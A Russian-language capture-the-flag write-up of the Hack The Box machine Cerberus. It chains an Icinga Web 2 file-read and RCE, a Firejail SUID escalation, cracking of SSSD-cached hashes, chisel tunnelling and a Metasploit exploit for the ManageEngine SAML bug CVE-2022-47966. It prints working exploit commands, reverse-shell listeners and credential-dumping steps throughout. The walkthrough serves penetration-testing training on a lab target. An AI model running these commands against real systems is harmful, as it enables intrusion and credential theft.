Хакер - HTB Cerberus. Захватываем контроллер домена Windows через баг SAML SSO
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий (хост 1)
- Продвижение
- Локальное повышение привилегий (хост 2)
- Active Directory Federation Services
В этом райтапе я покажу, как эксплуатировать уязвимость в сервисе ADSelfService Plus для захвата домена Active Directory. По дороге захватим хост на Linux, раскрутив цепочку уязвимостей в системе мониторинга Icinga Web 2. Повысим привилегии благодаря дыре в сендбоксе Firejail и сдампим учетные данные из SSSD.
Поможет нам в этом тренировочная машина Cerberus с площадки Hack The Box. Уровень ее сложности — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.205 cerberus.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего один открытый порт! Это порт 8080, на котором работает веб‑сервер Apache 2.4.52. При этом в заголовке http-title
сразу отображен редирект на домен icinga.cerberus.local
, который мы добавляем в файл /etc/hosts
.
10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local
Теперь переходим по этому адресу в браузере, и нас встречает опенсорсная система мониторинга Icinga Web 2.
ТОЧКА ВХОДА
Первым делом нужно поискать существующие эксплоиты для найденной системы. Мне удалось выйти на блог, где описаны уязвимости для Icinga Web 2. И первое, что привлекает внимание, — это баг, позволяющий читать произвольные файлы на хосте.
Пробуем указанным в описании способом прочитать файл /etc/hosts
.
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
Но одно дело — иметь такую возможность, а другое — знать, какие файлы читать. В этом поможет документация Icinga, где можно посмотреть имена и описание файлов с настройками. Первый интересный файл — это confing.ini
. Он содержит глобальные настройки, к примеру путь к файлам модулей.
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini
Второй интересный файл — resources.ini
. В нем записаны учетные данные для подключения к базе данных.
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini
С этими учетными данными получается авторизоваться на сайте.
ТОЧКА ОПОРЫ
Теперь у нас есть доступ к сайту, и можно перейти к другой описанной в том же ресерче уязвимости CVE-2022-24715. Аутентифицированные пользователи с доступом к настройкам фреймворка могут создавать файлы ресурсов SSH в непредусмотренных каталогах, что приводит к выполнению произвольного кода. Уязвимость заключается в неправильной проверке переданной строки в коде на PHP. Если использовать null-байт, то при проверке он будет учтен и строка получится обрезанной, но в момент записи в файл null-байт не будет учитываться, что приведет к записи дополнительных данных.
Перед тем как пытаться воспроизвести эти действия вручную, можно посмотреть, нет ли в интернете готового кода, который автоматизирует этот сложный процесс. Первая ссылка на GitHub приводит к рабочему эксплоиту. Но прежде чем пускать его в ход, мы должны сгенерировать SSH-ключ.
ssh-keygen -t rsa -m pem
После этого запускаем листенер:
pwncat-cs -lp 4321
И выполняем файл эксплоита:
python3 exploit.py -t http://icinga.cerberus.local:8080/icingaweb2/ -I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa
Моментально на листенере появляется сессия от имени пользователя www-data
.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ (ХОСТ 1)
Теперь нам нужно собрать информацию о системе. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе много информации, поэтому отберем только значимую.
На хосте есть необходимые для выполнения кода библиотеки MySQL.
Среди файлов с установленным битом SUID есть неизвестный бинарь firejail
.
Информация о сетевом интерфейсе раскрывает адрес сети — 172.16.22.0
.
В дереве процессов находим работающий SSSD — демон для управления доступом к службам каталогов и механизмам проверки подлинности.
Также отмечаем SSSD среди профилей AppArmor.
На хосте присутствует файл /etc/krb5.conf
, содержащий настройки Kerberos для работы в домене.
Информации, конечно, много, но наиболее здесь важно, что у бинарного файла firejail
есть бит SUID.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Firejail — это система изолированного выполнения графических, консольных и серверных приложений, которая снижает риск нарушения безопасности за счет ограничения рабочей среды потенциально уязвимых программ. Для этого используются пространства имен, фильтрация системных вызовов и возможности AppArmor.
В таких случаях нужно обязательно проверить техники GTFOBins или существующие эксплоиты, так как главная задача — просто получить непредумышленное выполнение кода. Быстрый поиск эксплоитов в Google показал, что это верный путь.
Первая же ссылка приводит к рабочему эксплоиту, который я и использовал. Единственное неудобство — для эксплуатации нам нужно сделать еще одну сессию. Тогда в первой сессии мы запускаем эксплоит, а во второй используем Firejail для получения привилегированного шелла.
firejail --join=35256
Демон SSSD может кешировать учетные данные в локальной базе данных.
Получим все строки из файла cache_cerberus.local.ldb
.
strings /var/lib/sss/db/cache_cerberus.local.ldb
В выводе видим хеш пароля пользователя, этот хеш нам предстоит перебирать. Но первым делом с помощью справки hashcat определим его тип.
hashcat --example | grep '\$6\$' -A2 -B11
Теперь указываем полученный режим перебора хеша — 1800. На выходе получаем пароль.
hashcat -m 1800 -a 0 hash.txt rockyou.txt
Чтобы понять, где можно авторизоваться с этими учетными данными, просканируем порты на контроллере домена.
./nmap -p- --min-rate=1500 172.16.22.1
На хосте работает служба WinRM, и, чтобы подключиться к ней, сделаем туннель. Для этого будем использовать chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse
) на порт 8888 (параметр -p
).
./chisel.bin server -p 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки туннелирования: с локального порта 8888 на порт 5985 хоста 172.16.22.1.
./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985
В логах сервера мы должны увидеть сообщение о создании сессии. Как только сессия будет создана, пробуем авторизоваться на службе WinRM с помощью инструмента Evil-WinRM.
evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ (ХОСТ 2)
Нам снова нужно провести разведку, и снова используем PEASS, на этот раз версию для Windows.
В списке пользователей отмечаем пользователя службы ADFS.
Отмечаем открытые для локального хоста нестандартные порты 8888 и 9251.
Проверим, что расположено на порте 9251, для чего немного изменим туннель chisel. Для доступа к хосту будем использовать туннель Socks, а для доступа к внутреннему порту будем прокидывать этот порт.
# --- socks ---
#remote linux
chisel.bin client 10.10.14.75:8888 R:socks
# --- port forwarding ---
#remote windows
chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251
При попытке просмотреть порт через браузер нам сообщают о небезопасном подключении, то есть необходимо использовать HTTPS.
Повторяем обращение к серверу, проходим ряд редиректов и встречаем типичную форму авторизации ADFS.
Теперь пару слов о том, что это такое.
Active Directory Federation Services
ADFS — это функция Active Directory, которая обеспечивает идентификацию доступа и дает возможность клиентам (в основном на базе браузеров) внутри или за пределами локальной сети получать доступ к веб‑приложениям по технологии single sign-on (SSO). Так ADFS извлекает атрибуты пользователей из Active Directory, а также проверяет подлинность пользователей в Active Directory.
Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server, реализующий «сервис маркеров доступа» (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.
Основные операции:
- первоначальная аутентификация пользователя;
- выпуск маркера доступа (Issue);
- проверка маркера доступа (Validate);
- обновление маркера доступа (Renew);
- аннулирование маркера доступа (Cancel).
Маркер доступа выпускается по факту успешной аутентификации и достоверно идентифицирует пользователя приложения. Чтобы получить маркер доступа, пользователь предоставляет учетные данные AD либо свой сертификат.
Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограниченны. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.
Попробуем авторизоваться в ADFS и получить маркер доступа.
Немного поисследовав файловую систему, находим продукт ManageEngine ADSelfService Plus, который как раз и представляет собой интегрированное решение для самостоятельного управления паролями и единого входа. Из базы получим Issuer URL, просто грепнув файлы по строке.
ls -r | Select-String issuer_url | select line,path
В самом ManageEngine есть нашумевшая уязвимость CVE-2022-47966, которая приводит к удаленному выполнению кода. Автоматизированный эксплоит уже появился в Metasploit Framework. У нас есть необходимые для эксплуатации параметры — GUID токена и Issuer URL
.
proxychains -q msfconsole
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOST 127.0.0.1
set RPORT 9251
set LHOST 10.10.14.56
exploit
Мы получили сессию и теперь просто забираем флаг рута.
Машина захвачена!
Читайте ещё больше платных статей бесплатно:https://t.me/hacker_frei